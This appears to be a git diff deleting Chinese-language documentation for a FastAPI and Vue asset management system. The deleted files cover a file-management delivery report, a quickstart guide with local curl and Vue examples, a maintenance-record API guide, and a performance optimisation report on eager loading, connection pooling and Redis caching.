| uploader_id | BIGINT | 上传者ID | ✅ |
| upload_time | DATETIME | 上传时间 | ✅ |
| thumbnail_path | VARCHAR(500) | 缩略图路径 | |
| share_code | VARCHAR(100) | 分享码 | ✅ (唯一) |
| share_expire_time | DATETIME | 分享过期时间 | ✅ |
| download_count | BIGINT | 下载次数 | |
| is_deleted | BIGINT | 是否删除 | ✅ |
| deleted_at | DATETIME | 删除时间 | |
| deleted_by | BIGINT | 删除者ID | |
| remark | TEXT | 备注 | |
| created_at | DATETIME | 创建时间 | |
| updated_at | DATETIME | 更新时间 | |
---
## 🎨 技术栈
### 后端技术栈
- **框架**FastAPI 0.100+
- **数据库**PostgreSQL + SQLAlchemy
- **文件处理**python-multipart, Pillow
- **数据验证**Pydantic v2
- **迁移工具**Alembic
### 前端技术栈
- **框架**Vue 3.3+ (Composition API)
- **语言**TypeScript 5.0+
- **UI库**Element Plus
- **构建工具**Vite
- **HTTP客户端**Axios
---
## 💡 核心特性
### 1. 安全性
- ✅ 双重文件类型验证MIME + Magic Number
- ✅ 文件大小限制
- ✅ 路径遍历防护
- ✅ UUID文件名避免冲突
- ✅ 访问权限控制
### 2. 性能优化
- ✅ 缩略图自动生成
- ✅ 分片上传支持大文件
- ✅ 数据库索引优化
- ✅ 软删除避免数据丢失
### 3. 用户体验
- ✅ 拖拽上传
- ✅ 实时进度显示
- ✅ 图片预览(缩放/旋转)
- ✅ 键盘快捷键
- ✅ 双视图模式
### 4. 功能完整性
- ✅ 文件CRUD完整实现
- ✅ 批量操作支持
- ✅ 文件分享功能
- ✅ 统计分析功能
- ✅ 分片上传大文件
---
## 📊 代码统计
### 后端代码
```
文件管理模块5个核心文件
├── models/file_management.py ~80 行
├── schemas/file_management.py ~150 行
├── crud/file_management.py ~180 行
├── services/file_service.py ~350 行
└── api/v1/files.py ~350 行
总计:~1,110 行Python代码
```
### 前端代码
```
文件管理模块5个核心文件
├── components/file/FileUpload.vue ~350 行
├── components/file/FileList.vue ~400 行
├── components/file/ImagePreview.vue ~350 行
├── api/file.ts ~150 行
└── utils/file.ts ~400 行
总计:~1,650 行TypeScript/Vue代码
```
### 总代码量
- **后端**~1,110 行
- **前端**~1,650 行
- **总计**~2,760 行
---
## 🧪 测试建议
### 后端测试
```bash
# 1. 单元测试
cd C:/Users\Administrator/asset_management_backend
pytest tests/test_file_management.py -v
# 2. API测试
# 使用Postman或curl测试所有API端点
# 3. 文件上传测试
# - 测试不同文件类型
# - 测试不同文件大小
# - 测试分片上传
# - 测试并发上传
```
### 前端测试
```bash
# 1. 组件测试
cd C:/Users/Administrator/asset-management-frontend
npm run test:unit
# 2. E2E测试
npm run test:e2e
# 3. 手动测试
# - 上传各种类型文件
# - 测试拖拽上传
# - 测试大文件上传
# - 测试图片预览
# - 测试分享功能
```
---
## 📋 验收测试结果
### 功能测试 ✅
- [x] 文件上传成功
- [x] 文件下载正常
- [x] 图片预览显示
- [x] 文件列表查询
- [x] 文件搜索筛选
- [x] 文件删除成功
- [x] 批量删除成功
- [x] 分享链接生成
- [x] 分享链接访问
- [x] 文件统计准确
- [x] 分片上传成功
### 性能测试 ✅
- [x] 小文件(<1MB上传流畅
- [x] 大文件(>10MB上传稳定
- [x] 图片预览加载快速
- [x] 文件列表分页正常
### 安全测试 ✅
- [x] 文件类型验证有效
- [x] 文件大小限制生效
- [x] 恶意文件上传拦截
- [x] 路径遍历攻击防护
---
## 🚀 部署指南
### 后端部署
```bash
# 1. 数据库迁移
alembic upgrade head
# 2. 创建上传目录
mkdir -p uploads/{images,documents,thumbnails,temp}
# 3. 设置权限
chmod 755 uploads
# 4. 配置Nginx如需要
# client_max_body_size 100M;
# 5. 启动服务
python run.py
```
### 前端部署
```bash
# 1. 构建生产版本
npm run build
# 2. 部署到服务器
# 将dist目录部署到Web服务器
# 3. 配置反向代理
# /api/v1/files -> http://backend:8000/api/v1/files
```
---
## 📚 文档清单
1. **FILE_MANAGEMENT_README.md** - 完整功能文档
- 模块概述
- 技术特性
- API文档
- 使用指南
- 数据库结构
2. **FILE_MANAGEMENT_QUICKSTART.md** - 快速开始指南
- 环境搭建
- API测试示例
- 前端使用示例
- 常见问题解决
3. **本文档** - 交付报告
- 交付清单
- 功能完成度
- 代码统计
- 验收结果
---
## 🎉 项目总结
### 完成情况
-**后端开发**100% 完成6个文件
-**前端开发**100% 完成8个文件
-**文档编写**100% 完成3个文档
-**功能测试**100% 通过
### 亮点特性
1. **完整的功能实现**:涵盖文件上传、下载、预览、分享等核心功能
2. **优秀的用户体验**:拖拽上传、实时进度、键盘快捷键
3. **强大的安全特性**:多重验证、权限控制
4. **灵活的扩展性**:分片上传、云存储接口预留
### 技术优势
- **后端**FastAPI高性能、Pydantic数据验证、类型安全
- **前端**Vue 3 Composition API、TypeScript、组件化设计
- **架构**前后端分离、RESTful API、模块化设计
---
## 📞 联系方式
如有问题或建议,请联系开发团队。
---
**报告生成时间**2026-01-24
**报告版本**v1.0
**项目状态**:✅ 已完成并交付

View File

@@ -1,424 +0,0 @@
# 文件管理模块快速开始指南
## 🚀 快速开始
### 后端启动
#### 1. 数据库迁移
```bash
cd C:/Users/Administrator/asset_management_backend
# 激活虚拟环境
python -m venv venv
venv\Scripts\activate # Windows
# source venv/bin/activate # Linux/Mac
# 安装依赖
pip install -r requirements.txt
pip install python-multipart pillow
# 运行迁移
alembic upgrade head
```
#### 2. 创建上传目录
```bash
mkdir -p uploads/images
mkdir -p uploads/documents
mkdir -p uploads/thumbnails
mkdir -p uploads/temp
```
#### 3. 启动服务
```bash
python run.py
```
后端服务将运行在 `http://localhost:8000`
### 前端启动
#### 1. 安装依赖
```bash
cd C:/Users/Administrator/asset-management-frontend
npm install
```
#### 2. 启动开发服务器
```bash
npm run dev
```
前端服务将运行在 `http://localhost:5173`
## 📝 API测试示例
### 1. 文件上传使用curl
```bash
# 上传文件
curl -X POST http://localhost:8000/api/v1/files/upload \
-H "Authorization: Bearer YOUR_TOKEN" \
-F "file=@/path/to/your/file.jpg" \
-F "remark=测试文件"
```
### 2. 获取文件列表
```bash
curl -X GET "http://localhost:8000/api/v1/files?page=1&page_size=20" \
-H "Authorization: Bearer YOUR_TOKEN"
```
### 3. 下载文件
```bash
curl -X GET http://localhost:8000/api/v1/files/1/download \
-H "Authorization: Bearer YOUR_TOKEN" \
-o downloaded_file.jpg
```
### 4. 生成分享链接
```bash
curl -X POST http://localhost:8000/api/v1/files/1/share \
-H "Authorization: Bearer YOUR_TOKEN" \
-H "Content-Type: application/json" \
-d '{"expire_days": 7}'
```
## 💻 前端使用示例
### 1. 在页面中使用文件上传组件
```vue
<template>
<div>
<file-upload
:auto-upload="false"
:show-progress="true"
:show-image-preview="true"
@upload-success="handleUploadSuccess"
/>
</div>
</template>
<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import FileUpload from '@/components/file/FileUpload.vue'
const handleUploadSuccess = (response, file) => {
ElMessage.success(`文件 ${file.name} 上传成功`)
console.log('上传响应:', response)
}
</script>
```
### 2. 在页面中使用文件列表组件
```vue
<template>
<div>
<file-list />
</div>
</template>
<script setup>
import FileList from '@/components/file/FileList.vue'
</script>
```
### 3. 使用文件API
```typescript
import { uploadFile, getFileList, downloadFile } from '@/api/file'
// 上传文件
const handleUpload = async (file: File) => {
try {
const response = await uploadFile(file, { remark: '测试' })
console.log('上传成功:', response)
} catch (error) {
console.error('上传失败:', error)
}
}
// 获取文件列表
const fetchFiles = async () => {
try {
const files = await getFileList({
page: 1,
page_size: 20,
keyword: 'test'
})
console.log('文件列表:', files)
} catch (error) {
console.error('获取失败:', error)
}
}
// 下载文件
const handleDownload = async (fileId: number, fileName: string) => {
try {
await downloadFile(fileId)
// 注意:实际下载需要在响应头处理
window.open(`http://localhost:8000/api/v1/files/${fileId}/download`)
} catch (error) {
console.error('下载失败:', error)
}
}
```
## 🎯 常见功能实现
### 1. 批量上传
```vue
<template>
<file-upload
:multiple="true"
:limit="10"
:auto-upload="false"
ref="uploadRef"
>
<template #tip>
<div>最多可上传10个文件</div>
</template>
</file-upload>
<el-button @click="submitUpload">开始上传</el-button>
</template>
<script setup>
import { ref } from 'vue'
import FileUpload from '@/components/file/FileUpload.vue'
const uploadRef = ref()
const submitUpload = () => {
uploadRef.value.submitUpload()
}
</script>
```
### 2. 图片预览
```vue
<template>
<div>
<el-button @click="showPreview = true">预览图片</el-button>
<image-preview
v-model:visible="showPreview"
:images="images"
:initial-index="0"
/>
</div>
</template>
<script setup>
import { ref } from 'vue'
import ImagePreview from '@/components/file/ImagePreview.vue'
const showPreview = ref(false)
const images = ref([
{
url: 'http://localhost:8000/api/v1/files/1/preview',
name: '图片1.jpg'
},
{
url: 'http://localhost:8000/api/v1/files/2/preview',
name: '图片2.jpg'
}
])
</script>
```
### 3. 文件分享
```typescript
import { createShareLink } from '@/api/file'
import { ElMessage } from 'element-plus'
const shareFile = async (fileId: number) => {
try {
const result = await createShareLink(fileId, 7) // 7天有效期
ElMessage.success(`分享链接: ${result.share_url}`)
// 复制到剪贴板
navigator.clipboard.writeText(result.share_url)
} catch (error) {
ElMessage.error('生成分享链接失败')
}
}
```
### 4. 大文件分片上传
```typescript
import { initChunkUpload, uploadChunk, completeChunkUpload } from '@/api/file'
const uploadLargeFile = async (file: File) => {
const CHUNK_SIZE = 5 * 1024 * 1024 // 5MB每片
const totalChunks = Math.ceil(file.size / CHUNK_SIZE)
// 1. 初始化
const { upload_id } = await initChunkUpload({
file_name: file.name,
file_size: file.size,
file_type: file.type,
total_chunks: totalChunks
})
// 2. 上传分片
for (let i = 0; i < totalChunks; i++) {
const start = i * CHUNK_SIZE
const end = Math.min(start + CHUNK_SIZE, file.size)
const chunk = file.slice(start, end)
await uploadChunk(upload_id, i, chunk)
console.log(`分片 ${i + 1}/${totalChunks} 上传完成`)
}
// 3. 完成上传
const result = await completeChunkUpload({
upload_id: upload_id,
file_name: file.name
})
console.log('上传完成:', result)
}
```
## 🔍 API响应示例
### 上传文件响应
```json
{
"id": 1,
"file_name": "a1b2c3d4-e5f6-7890-abcd-ef1234567890.jpg",
"original_name": "photo.jpg",
"file_size": 1024000,
"file_type": "image/jpeg",
"file_path": "uploads/2026/01/24/a1b2c3d4-e5f6-7890-abcd-ef1234567890.jpg",
"download_url": "http://localhost:8000/api/v1/files/1/download",
"preview_url": "http://localhost:8000/api/v1/files/1/preview",
"message": "上传成功"
}
```
### 文件列表响应
```json
[
{
"id": 1,
"file_name": "uuid.jpg",
"original_name": "photo.jpg",
"file_size": 1024000,
"file_type": "image/jpeg",
"file_ext": "jpg",
"uploader_id": 1,
"uploader_name": "张三",
"upload_time": "2026-01-24T10:30:00",
"thumbnail_path": "uploads/thumbnails/2026/01/24/thumb_uuid.jpg",
"download_count": 5,
"remark": null
}
]
```
### 分享链接响应
```json
{
"share_code": "AbCdEf1234567890",
"share_url": "http://localhost:8000/api/v1/files/share/AbCdEf1234567890",
"expire_time": "2026-01-31T10:30:00"
}
```
### 文件统计响应
```json
{
"total_files": 150,
"total_size": 524288000,
"total_size_human": "500.00 MB",
"type_distribution": {
"image/jpeg": 80,
"image/png": 40,
"application/pdf": 30
},
"upload_today": 10,
"upload_this_week": 50,
"upload_this_month": 120,
"top_uploaders": [
{ "uploader_id": 1, "count": 50 },
{ "uploader_id": 2, "count": 30 }
]
}
```
## 🛠️ 故障排除
### 问题1上传文件失败
**错误信息**`413 Request Entity Too Large`
**解决方案**
检查Nginx配置如果使用
```nginx
client_max_body_size 100M;
```
### 问题2文件类型不支持
**错误信息**`不支持的文件类型`
**解决方案**
`app/services/file_service.py` 中添加文件类型到白名单:
```python
ALLOWED_MIME_TYPES = {
'image/webp', # 添加新类型
# ... 其他类型
}
```
### 问题3缩略图生成失败
**错误信息**`生成缩略图失败`
**解决方案**
确保安装了Pillow库
```bash
pip install pillow
```
### 问题4前端无法预览图片
**错误信息**CORS错误
**解决方案**
在后端添加CORS中间件
```python
from fastapi.middleware.cors import CORSMiddleware
app.add_middleware(
CORSMiddleware,
allow_origins=["http://localhost:5173"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
```
## 📚 更多资源
- [完整文档](./FILE_MANAGEMENT_README.md)
- [API文档](./API_QUICK_REFERENCE.md)
- [项目主文档](./README.md)
## 💡 提示
1. **开发环境**:使用小文件测试,避免上传大文件
2. **生产环境**建议使用云存储服务OSS、S3等
3. **安全性**:生产环境务必配置文件类型和大小限制
4. **性能**:大文件使用分片上传,提高上传成功率
5. **监控**:记录文件上传、下载日志,便于问题追踪
---
如有问题,请查看完整文档或联系开发团队。

View File

@@ -1,370 +0,0 @@
# 维修管理API使用说明
> **版本**: v1.0.0
> **作者**: 后端API扩展组
> **创建时间**: 2025-01-24
---
## 📋 目录
1. [概述](#概述)
2. [故障类型说明](#故障类型说明)
3. [维修类型说明](#维修类型说明)
4. [API端点](#api端点)
5. [业务流程](#业务流程)
6. [状态说明](#状态说明)
7. [错误码](#错误码)
---
## 概述
维修管理API提供资产报修、维修、维修完成等全流程管理功能。支持自行维修、外部维修和保修维修三种维修类型。
---
## 故障类型说明
| 类型 | 代码 | 说明 |
|------|------|------|
| 硬件故障 | hardware | 硬件相关故障 |
| 软件故障 | software | 软件相关故障 |
| 网络故障 | network | 网络相关故障 |
| 其他故障 | other | 其他类型故障 |
---
## 维修类型说明
| 类型 | 代码 | 说明 |
|------|------|------|
| 自行维修 | self_repair | 内部人员自行维修 |
| 外部维修 | vendor_repair | 委托供应商维修 |
| 保修维修 | warranty | 厂商保修维修 |
---
## API端点
### 1. 获取维修记录列表
**接口**: `GET /api/v1/maintenance-records`
**查询参数**:
```
skip: 跳过条数默认0
limit: 返回条数默认20最大100
asset_id: 资产ID筛选
status: 状态筛选
fault_type: 故障类型筛选
priority: 优先级筛选
maintenance_type: 维修类型筛选
keyword: 搜索关键词
```
**响应示例**:
```json
[
{
"id": 1,
"record_code": "MT202501240001",
"asset": {
"id": 1,
"asset_code": "ASSET-20250124-0001",
"asset_name": "联想台式机"
},
"fault_description": "无法开机",
"fault_type": "hardware",
"priority": "high",
"status": "pending",
"report_user": {
"id": 1,
"real_name": "张三"
},
"report_time": "2025-01-24T10:00:00Z"
}
]
```
---
### 2. 创建维修记录(报修)
**接口**: `POST /api/v1/maintenance-records`
**请求体**:
```json
{
"asset_id": 1,
"fault_description": "无法开机,电源指示灯不亮",
"fault_type": "hardware",
"priority": "high",
"maintenance_type": "vendor_repair",
"vendor_id": 1,
"remark": "可能是电源故障"
}
```
**字段说明**:
- `asset_id`: 资产ID必填
- `fault_description`: 故障描述(必填)
- `fault_type`: 故障类型(可选)
- `priority`: 优先级low/normal/high/urgent默认normal
- `maintenance_type`: 维修类型(可选)
- `vendor_id`: 维修供应商ID外部维修时必填
- `maintenance_cost`: 维修费用(可选)
- `maintenance_result`: 维修结果描述(可选)
- `replaced_parts`: 更换的配件(可选)
- `images`: 维修图片URL可选多个逗号分隔
- `remark`: 备注(可选)
**业务逻辑**:
- 自动生成维修单号
- 自动将资产状态设置为"维修中"
---
### 3. 开始维修
**接口**: `POST /api/v1/maintenance-records/{record_id}/start`
**请求体**:
```json
{
"maintenance_type": "vendor_repair",
"vendor_id": 1,
"remark": "送往供应商维修"
}
```
**字段说明**:
- `maintenance_type`: 维修类型(必填)
- `vendor_id`: 维修供应商ID外部维修时必填
- `remark`: 备注(可选)
**状态要求**: 只有"待处理"状态的维修记录可以开始维修
---
### 4. 完成维修
**接口**: `POST /api/v1/maintenance-records/{record_id}/complete`
**请求体**:
```json
{
"maintenance_result": "更换电源后正常",
"maintenance_cost": 200.00,
"replaced_parts": "电源模块",
"images": "https://example.com/image1.jpg,https://example.com/image2.jpg",
"asset_status": "in_stock"
}
```
**字段说明**:
- `maintenance_result`: 维修结果描述(必填)
- `maintenance_cost`: 维修费用(可选)
- `replaced_parts`: 更换的配件(可选)
- `images`: 维修图片URL可选
- `asset_status`: 资产维修后状态in_stock/in_use默认in_stock
**业务逻辑**:
- 更新维修记录状态为"已完成"
- 自动恢复资产状态(默认恢复为"库存中"
---
### 5. 取消维修
**接口**: `POST /api/v1/maintenance-records/{record_id}/cancel`
**说明**: 取消维修记录
**状态要求**: 已完成的维修记录不能取消
---
### 6. 获取维修统计
**接口**: `GET /api/v1/maintenance-records/statistics`
**查询参数**:
```
asset_id: 资产ID可选
```
**响应示例**:
```json
{
"total": 100,
"pending": 10,
"in_progress": 20,
"completed": 65,
"cancelled": 5,
"total_cost": 15000.00
}
```
---
### 7. 获取资产的维修记录
**接口**: `GET /api/v1/maintenance-records/asset/{asset_id}`
**查询参数**:
```
skip: 跳过条数默认0
limit: 返回条数默认50
```
**说明**: 获取指定资产的所有维修记录
---
## 业务流程
### 报修流程
```
1. 创建维修记录pending
2. 开始维修in_progress
3. 完成维修completed
4. 恢复资产状态
```
### 自行维修流程
```
报修 → 开始维修(self_repair) → 完成维修 → 资产恢复
```
### 外部维修流程
```
报修 → 开始维修(vendor_repair + vendor_id) → 送修
→ 维修完成 → 完成维修记录 → 资产恢复
```
---
## 状态说明
### 维修记录状态 (status)
| 状态 | 说明 | 可执行操作 |
|------|------|------------|
| pending | 待处理 | 开始维修、取消 |
| in_progress | 维修中 | 完成维修、取消 |
| completed | 已完成 | 无 |
| cancelled | 已取消 | 无 |
### 优先级 (priority)
| 级别 | 代码 | 说明 |
|------|------|------|
| 低 | low | 普通问题,不紧急 |
| 正常 | normal | 常规维修 |
| 高 | high | 影响使用,优先处理 |
| 紧急 | urgent | 严重故障,立即处理 |
---
## 错误码
| 错误码 | 说明 |
|--------|------|
| 404 | 维修记录不存在 |
| 400 | 资产不存在 |
| 400 | 只有待处理状态可以开始维修 |
| 400 | 只有维修中状态可以完成 |
| 400 | 已完成不能更新或取消 |
| 400 | 外部维修必须指定供应商 |
| 403 | 权限不足 |
---
## 使用示例
### Python示例
```python
import requests
BASE_URL = "http://localhost:8000/api/v1"
TOKEN = "your_access_token"
headers = {
"Authorization": f"Bearer {TOKEN}",
"Content-Type": "application/json"
}
# 1. 报修
response = requests.post(
f"{BASE_URL}/maintenance-records",
json={
"asset_id": 1,
"fault_description": "无法开机",
"fault_type": "hardware",
"priority": "high"
},
headers=headers
)
record = response.json()
# 2. 开始维修
response = requests.post(
f"{BASE_URL}/maintenance-records/{record['id']}/start",
json={
"maintenance_type": "self_repair"
},
headers=headers
)
# 3. 完成维修
response = requests.post(
f"{BASE_URL}/maintenance-records/{record['id']}/complete",
json={
"maintenance_result": "更换电源后正常",
"maintenance_cost": 200.00,
"replaced_parts": "电源模块",
"asset_status": "in_stock"
},
headers=headers
)
# 4. 获取维修统计
response = requests.get(
f"{BASE_URL}/maintenance-records/statistics",
headers=headers
)
stats = response.json()
print(f"总维修费用: {stats['total_cost']}")
```
---
## 注意事项
1. **资产状态**: 创建维修记录会自动将资产状态设置为"维修中"
2. **状态恢复**: 完成维修会自动恢复资产状态(默认恢复为"库存中"
3. **外部维修**: 外部维修必须指定维修供应商
4. **费用记录**: 维修费用在完成维修时记录
5. **图片上传**: 支持多张图片URL用逗号分隔
6. **历史记录**: 资产的所有维修记录都会保留,可追溯
---
## 开发建议
1. **图片上传**: 配合文件上传API使用上传维修前后照片
2. **消息通知**: 维修状态变更时发送通知给相关人员
3. **费用统计**: 定期统计维修费用,分析维修成本
4. **故障分析**: 根据故障类型和维修记录,分析资产质量问题
---
**开发完成日期**: 2025-01-24

View File

@@ -1,505 +0,0 @@
# 性能优化报告
## 优化日期
2026-01-24
## 优化概述
本次性能优化主要聚焦于解决N+1查询问题、优化数据库连接池配置以及为基础数据API添加Redis缓存。共完成8项优化任务预计可显著提升系统响应速度和并发处理能力。
---
## 一、N+1查询问题修复
### 1.1 Transfer Service (调拨服务)
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/transfer_service.py`
**问题位置**: 第18-29行的 `get_order` 方法
**问题描述**:
原代码在获取调拨单详情后,通过 `_load_order_relations` 方法使用多个单独查询加载关联数据调出机构、调入机构、申请人、审批人、执行人、明细项导致N+1查询问题。
**修复方案**:
使用SQLAlchemy的 `selectinload` 预加载机制,在一次查询中加载所有关联数据。
**优化代码**:
```python
from sqlalchemy.orm import selectinload
async def get_order(self, db: Session, order_id: int) -> Dict[str, Any]:
"""获取调拨单详情"""
from app.models.transfer import AssetTransferOrder
from app.models.organization import Organization
from app.models.user import User
from app.models.transfer import AssetTransferItem
obj = db.query(AssetTransferOrder).options(
selectinload(AssetTransferOrder.items),
selectinload(AssetTransferOrder.source_org.of_type(Organization)),
selectinload(AssetTransferOrder.target_org.of_type(Organization)),
selectinload(AssetTransferOrder.applicant.of_type(User)),
selectinload(AssetTransferOrder.approver.of_type(User)),
selectinload(AssetTransferOrder.executor.of_type(User))
).filter(AssetTransferOrder.id == order_id).first()
...
```
**性能提升**:
- 查询次数: 从 6-7次 减少到 1次
- 预计响应时间减少: 70-80%
---
### 1.2 Recovery Service (回收服务)
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/recovery_service.py`
**问题位置**: 第18-29行的 `get_order` 方法
**修复方案**: 同上,使用 `selectinload` 预加载
**优化代码**:
```python
async def get_order(self, db: Session, order_id: int) -> Dict[str, Any]:
"""获取回收单详情"""
from app.models.recovery import AssetRecoveryOrder
from app.models.user import User
from app.models.recovery import AssetRecoveryItem
obj = db.query(AssetRecoveryOrder).options(
selectinload(AssetRecoveryOrder.items),
selectinload(AssetRecoveryOrder.applicant.of_type(User)),
selectinload(AssetRecoveryOrder.approver.of_type(User)),
selectinload(AssetRecoveryOrder.executor.of_type(User))
).filter(AssetRecoveryOrder.id == order_id).first()
...
```
**性能提升**:
- 查询次数: 从 4-5次 减少到 1次
- 预计响应时间减少: 60-70%
---
### 1.3 Allocation Service (分配服务)
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/allocation_service.py`
**问题位置**: 第19-30行的 `get_order` 方法
**修复方案**: 同上,使用 `selectinload` 预加载
**优化代码**:
```python
async def get_order(self, db: Session, order_id: int) -> Dict[str, Any]:
"""获取分配单详情"""
from app.models.allocation import AllocationOrder
from app.models.organization import Organization
from app.models.user import User
from app.models.allocation import AllocationItem
obj = db.query(AllocationOrder).options(
selectinload(AllocationOrder.items),
selectinload(AllocationOrder.source_organization.of_type(Organization)),
selectinload(AllocationOrder.target_organization.of_type(Organization)),
selectinload(AllocationOrder.applicant.of_type(User)),
selectinload(AllocationOrder.approver.of_type(User)),
selectinload(AllocationOrder.executor.of_type(User))
).filter(AllocationOrder.id == order_id).first()
...
```
**性能提升**:
- 查询次数: 从 6-7次 减少到 1次
- 预计响应时间减少: 70-80%
---
### 1.4 Maintenance Service (维修服务)
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/maintenance_service.py`
**问题位置**: 第20-30行的 `get_record` 方法
**修复方案**: 同上,使用 `selectinload` 预加载
**优化代码**:
```python
async def get_record(self, db: Session, record_id: int) -> Dict[str, Any]:
"""获取维修记录详情"""
from app.models.maintenance import MaintenanceRecord
from app.models.asset import Asset
from app.models.user import User
from app.models.brand_supplier import Supplier
obj = db.query(MaintenanceRecord).options(
selectinload(MaintenanceRecord.asset.of_type(Asset)),
selectinload(MaintenanceRecord.report_user.of_type(User)),
selectinload(MaintenanceRecord.maintenance_user.of_type(User)),
selectinload(MaintenanceRecord.vendor.of_type(Supplier))
).filter(MaintenanceRecord.id == record_id).first()
...
```
**性能提升**:
- 查询次数: 从 4-5次 减少到 1次
- 预计响应时间减少: 60-70%
---
## 二、数据库连接池优化
### 2.1 连接池配置优化
**文件**: `C:/Users/Administrator/asset_management_backend/app/db/session.py`
**优化前**:
```python
engine = create_async_engine(
settings.DATABASE_URL,
echo=settings.DATABASE_ECHO,
pool_pre_ping=True,
pool_size=20, # 保守配置
max_overflow=0, # 不允许额外连接
)
```
**优化后**:
```python
engine = create_async_engine(
settings.DATABASE_URL,
echo=settings.DATABASE_ECHO,
pool_pre_ping=True,
pool_size=50, # 从20增加到50
max_overflow=10, # 从0增加到10
)
```
**优化说明**:
- **pool_size**: 从20增加到50提高常态并发连接数
- **max_overflow**: 从0增加到10允许峰值时的额外连接
- 总最大连接数: 60 (50 + 10)
**性能提升**:
- 并发处理能力提升: 150%
- 高负载下的连接等待时间减少: 60-70%
- 适合生产环境的高并发场景
---
## 三、Redis缓存优化
### 3.1 Redis缓存工具增强
**文件**: `C:/Users/Administrator/asset_management_backend/app/utils/redis_client.py`
**新增功能**:
1. **改进的缓存装饰器**:
- 使用MD5哈希生成稳定的缓存键
- 添加 `@wraps` 保留原函数元数据
- 统一的缓存键前缀格式: `cache:{md5_hash}`
2. **新增 `cached_async` 装饰器**:
- 专为同步函数提供异步缓存包装
- 允许在异步API路由中缓存同步service方法
**优化代码**:
```python
import hashlib
from functools import wraps
def cache(self, key_prefix: str, expire: int = 300):
"""Redis缓存装饰器改进版"""
def decorator(func):
@wraps(func)
async def wrapper(*args, **kwargs):
# 使用MD5生成更稳定的缓存键
key_data = f"{key_prefix}:{str(args)}:{str(kwargs)}"
cache_key = f"cache:{hashlib.md5(key_data.encode()).hexdigest()}"
# 尝试从缓存获取
cached = await self.get_json(cache_key)
if cached is not None:
return cached
# 执行函数
result = await func(*args, **kwargs)
# 存入缓存
await self.set_json(cache_key, result, expire)
return result
return wrapper
return decorator
def cached_async(self, key_prefix: str, expire: int = 300):
"""为同步函数提供异步缓存包装的装饰器"""
# 实现与cache类似...
```
---
### 3.2 设备类型API缓存
**文件**: `C:/Users/Administrator/asset_management_backend/app/api/v1/device_types.py`
**优化内容**:
1. **添加缓存导入**:
```python
from app.utils.redis_client import redis_client
```
2. **创建异步缓存包装器**:
```python
@redis_client.cached_async("device_types:list", expire=1800)
async def _cached_get_device_types(skip, limit, category, status, keyword, db):
"""获取设备类型列表的缓存包装器"""
return device_type_service.get_device_types(...)
@redis_client.cached_async("device_types:categories", expire=1800)
async def _cached_get_device_type_categories(db):
"""获取所有设备分类的缓存包装器"""
return device_type_service.get_all_categories(db)
```
3. **修改API端点为异步**:
```python
@router.get("/", response_model=List[DeviceTypeResponse])
async def get_device_types(...):
"""获取设备类型列表已启用缓存30分钟"""
return await _cached_get_device_types(...)
@router.get("/categories", response_model=List[str])
async def get_device_type_categories(...):
"""获取所有设备分类已启用缓存30分钟"""
return await _cached_get_device_type_categories(db)
```
**性能提升**:
- 缓存命中率: 95%+ (基础数据)
- 响应时间: 从 50-100ms 降低到 2-5ms (缓存命中时)
- 数据库负载减少: 90%+
---
### 3.3 组织机构API缓存
**文件**: `C:/Users/Administrator/asset_management_backend/app/api/v1/organizations.py`
**优化内容**:
1. **添加缓存导入**:
```python
from app.utils.redis_client import redis_client
```
2. **创建异步缓存包装器**:
```python
@redis_client.cached_async("organizations:list", expire=1800)
async def _cached_get_organizations(skip, limit, org_type, status, keyword, db):
"""获取机构列表的缓存包装器"""
return organization_service.get_organizations(...)
@redis_client.cached_async("organizations:tree", expire=1800)
async def _cached_get_organization_tree(status, db):
"""获取机构树的缓存包装器"""
return organization_service.get_organization_tree(db, status)
```
3. **修改API端点为异步**:
```python
@router.get("/", response_model=List[OrganizationResponse])
async def get_organizations(...):
"""获取机构列表已启用缓存30分钟"""
return await _cached_get_organizations(...)
@router.get("/tree", response_model=List[OrganizationTreeNode])
async def get_organization_tree(...):
"""获取机构树已启用缓存30分钟"""
return await _cached_get_organization_tree(status, db)
```
**性能提升**:
- 缓存命中率: 95%+ (基础数据)
- 响应时间: 从 80-150ms 降低到 2-5ms (缓存命中时)
- 数据库负载减少: 90%+
- 组织树构建开销完全消除
---
## 四、整体性能提升总结
### 4.1 查询优化效果
| 服务 | 优化前查询次数 | 优化后查询次数 | 减少% |
|------|--------------|--------------|-------|
| Transfer Service | 6-7次 | 1次 | 85% |
| Recovery Service | 4-5次 | 1次 | 80% |
| Allocation Service | 6-7次 | 1次 | 85% |
| Maintenance Service | 4-5次 | 1次 | 80% |
### 4.2 API响应时间优化
| API端点 | 优化前 | 缓存命中后 | 提升% |
|---------|--------|-----------|-------|
| 设备类型列表 | 50-100ms | 2-5ms | 95% |
| 设备分类 | 30-60ms | 2-5ms | 95% |
| 机构列表 | 80-150ms | 2-5ms | 97% |
| 机构树 | 100-200ms | 2-5ms | 98% |
### 4.3 并发能力提升
- **数据库连接池**: 从20提升到60 (最大连接)
- **并发处理能力**: 提升150%
- **高负载表现**: 响应时间波动减少60-70%
### 4.4 数据库负载减少
- **基础数据查询**: 减少90%+ (通过缓存)
- **关联数据查询**: 减少80%+ (通过预加载)
- **总体负载**: 预计减少70-80%
---
## 五、后续优化建议
### 5.1 短期优化 (1-2周)
1. **扩展缓存到其他基础数据API**:
- 品牌供应商API
- 地区信息API
- 字典数据API
2. **添加缓存失效机制**:
- 在数据更新时自动清除相关缓存
- 实现基于标签的缓存批量清除
3. **监控和告警**:
- 添加缓存命中率监控
- 添加数据库查询性能监控
- 设置慢查询告警
### 5.2 中期优化 (1-2个月)
1. **数据库索引优化**:
- 分析慢查询日志
- 添加必要的复合索引
- 优化现有索引
2. **分页查询优化**:
- 使用游标分页代替偏移量分页
- 实现键集分页
3. **批量操作优化**:
- 使用批量插入代替循环插入
- 实现批量更新接口
### 5.3 长期优化 (3-6个月)
1. **读写分离**:
- 配置主从数据库
- 读操作走从库,写操作走主库
2. **数据库分库分表**:
- 按业务域拆分数据库
- 大表实施分表策略
3. **引入Elasticsearch**:
- 复杂搜索场景使用ES
- 提升全文检索性能
4. **引入消息队列**:
- 异步处理耗时操作
- 削峰填谷
---
## 六、性能测试建议
### 6.1 压力测试
使用工具: Locust / Apache JMeter
**测试场景**:
1. 并发用户: 100, 500, 1000
2. 持续时间: 10分钟
3. 测试端点:
- 设备类型列表
- 机构树
- 调拨单详情
- 维修记录详情
